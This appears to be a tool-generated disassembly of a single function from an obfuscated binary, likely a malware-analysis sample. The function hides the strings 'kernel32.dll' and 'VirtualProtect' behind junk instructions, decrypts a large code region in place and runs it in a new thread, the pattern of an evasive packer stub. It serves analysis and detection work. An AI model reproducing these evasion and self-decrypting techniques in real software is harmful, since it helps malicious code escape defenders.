Function at 0xc26245
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, esi
xchg esi, ecx
pushfd
inc edi
dec edi
popfd
call fcn.00c26651
pushfd
push edx
add esp, 4
popfd
push ecx
push edi
pop edi
pop ecx
lea eax, [ebp - 0xd8]
xchg edx, edx
nop
mov ebx, 0x61
xchg esi, esi
add bx, 0xa
push ebx
push eax
pop eax
pop ebx
push ecx
pop ecx
mov word [eax], bx
xchg esi, eax
xchg esi, eax
push eax
push esi
pop esi
pop eax
sub bx, 6
xchg edi, ecx
xchg ecx, edi
xchg ecx, ecx
mov word [eax + 2], bx
mov esi, esi
pushfd
push edx
add esp, 4
popfd
add bx, 0xd
pushfd
xor ebx, 0x5561065b
xor ebx, 0x5561065b
popfd
mov word [eax + 4], bx
mov edi, edi
sub bx, 4
xchg ebx, ebx
pushfd
xor ecx, 0xf47f860b
xor ecx, 0xf47f860b
popfd
mov word [eax + 6], bx
pushfd
inc eax
dec eax
popfd
sub bx, 9
pushfd
xor ecx, 0xeb7e435e
xor ecx, 0xeb7e435e
popfd
pushfd
push 0xd7b96a4b
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
xor edi, 0x67b4a4c1
xor edi, 0x67b4a4c1
popfd
push edx
push ebx
pop ebx
pop edx
add bx, 7
pushfd
push ebx
add esp, 4
popfd
mov esi, esi
mov word [eax + 0xa], bx
push edx
pop edx
push eax
push edi
pop edi
pop eax
sub bx, 0x39
xchg esi, edx
xchg edx, esi
mov word [eax + 0xc], bx
pushfd
xor eax, 0xe9315b22
xor eax, 0xe9315b22
popfd
pushfd
push edx
add esp, 4
popfd
dec bx
pushfd
xor eax, 0xb873a9ae
xor eax, 0xb873a9ae
popfd
push edi
pop edi
mov word [eax + 0xe], bx
xchg ecx, eax
xchg ecx, eax
pushfd
xor ebx, 0x7e66e6fb
xor ebx, 0x7e66e6fb
popfd
sub bx, 4
mov edi, edi
nop
mov word [eax + 0x10], bx
pushfd
push ecx
add esp, 4
popfd
push edi
pop edi
add bx, 0x36
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push edi
add esp, 4
popfd
push edx
pop edx
add bx, 8
push edi
push ebx
pop ebx
pop edi
pushfd
push 0xfe270bed
add esp, 4
popfd
mov word [eax + 0x14], bx
pushfd
inc ebx
dec ebx
popfd
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
xor eax, 0xa5186717
xor eax, 0xa5186717
popfd
pushfd
push 0x49d7e404
add esp, 4
popfd
mov word [eax + 0x18], 0
mov eax, eax
pushfd
inc edi
dec edi
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0x6e7ca186
add esp, 4
popfd
mov dword [ebp - 0x10], eax
mov ecx, ecx
lea eax, [ebp - 0xd8]
push ecx
pop ecx
mov ebx, 0x61
push edi
push eax
pop eax
pop edi
mov eax, eax
sub bl, 0xb
pushfd
inc edx
dec edx
popfd
mov byte [eax], bl
pushfd
push 0x38fad66a
add esp, 4
popfd
push edx
pop edx
add bl, 0x13
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 1], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
add bl, 9
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 2], bl
push ebx
pop ebx
pushfd
xor edx, 0x8b396f61
xor edx, 0x8b396f61
popfd
add bl, 2
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push 0x7bb7e76f
add esp, 4
popfd
inc bl
mov ecx, ecx
mov edi, edi
mov byte [eax + 4], bl
pushfd
push esi
add esp, 4
popfd
xchg ebx, ebx
sub bl, 0x14
xchg esi, esi
pushfd
push 0x67553a97
add esp, 4
popfd
mov byte [eax + 5], bl
push ecx
pop ecx
xchg esi, eax
xchg esi, eax
add bl, 0xb
push ecx
push eax
pop eax
pop ecx
mov byte [eax + 6], bl
push edx
push edi
pop edi
pop edx
xchg ebx, esi
xchg esi, ebx
sub bl, 0x1c
push esi
push edi
pop edi
pop esi
mov byte [eax + 7], bl
xchg esi, esi
add bl, 0x22
pushfd
push 0x844b2061
add esp, 4
popfd
mov byte [eax + 8], bl
xchg ecx, edx
xchg edx, ecx
push edi
push esi
pop esi
pop edi
sub bl, 3
mov edi, edi
xchg esi, esi
mov byte [eax + 9], bl
pushfd
inc edi
dec edi
popfd
add bl, 5
pushfd
inc edi
dec edi
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xa], bl
mov esi, esi
xchg esi, ecx
xchg ecx, esi
sub bl, 0xf
push edx
pop edx
push ecx
pop ecx
mov byte [eax + 0xb], bl
xchg esi, ecx
xchg ecx, esi
sub bl, 2
push ecx
push edx
pop edx
pop ecx
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xc], bl
mov edi, edi
add bl, 0x11
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xd], bl
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xe], 0
push eax
pop eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ebx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
xchg ecx, edx
xchg edx, ecx
xchg edx, ebx
xchg ebx, edx
lea eax, [ebp - 8]
pushfd
push 0xcd30d351
add esp, 4
popfd
pushfd
push 0x8bb4ad0e
add esp, 4
popfd
push eax
push 4
push 0x3f2f9f
push entry0
call dword [ebp - 0xc]
pushfd
push edi
add esp, 4
popfd
mov edi, entry0
pushfd
push 0xca81ef7b
add esp, 4
popfd
mov esi, esi
mov esi, 0x40100e
push ebx
push ecx
pop ecx
pop ebx
mov ecx, 0x3f2f9f
xchg ecx, ecx
mov edx, 0x869e2e87
push esi
push edx
pop edx
pop esi
push ecx
push esi
pop esi
pop ecx
mov ebx, 0xa6c2377a
pushfd
xor eax, 0xc645d99b
xor eax, 0xc645d99b
popfd
cld
xchg edx, edx
lodsb al, byte [esi]
xchg ecx, ecx
xor al, dl
xchg ecx, ecx
stosb byte es:[edi], al
mov edx, edx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
nop
je 0xc265b0
mov eax, eax
add esi, 2
xchg ebx, ebx
ror ebx, 1
mov edi, edi
dec ecx
xchg edi, edi
test ecx, ecx
mov ebx, ebx
jne 0xc2658a
pushfd
inc ecx
dec ecx
popfd
mov eax, eax
lea eax, [ebp - 8]
pushfd
xor edi, 0x7e140a7a
xor edi, 0x7e140a7a
popfd
pushfd
xor ecx, 0x3b457ba1
xor ecx, 0x3b457ba1
popfd
push eax
push 0x20
push 0x3f2f9f
push entry0
call dword [ebp - 0xc]
push edx
pop edx
pushfd
push 0x72dd696
add esp, 4
popfd
lea eax, [ebp - 4]
push eax
pop eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
xchg ebx, esi
xchg esi, ebx
push ebx
pop ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ecx, ecx
pushfd
push 0xda781f4
add esp, 4
popfd
jmp 0xc26618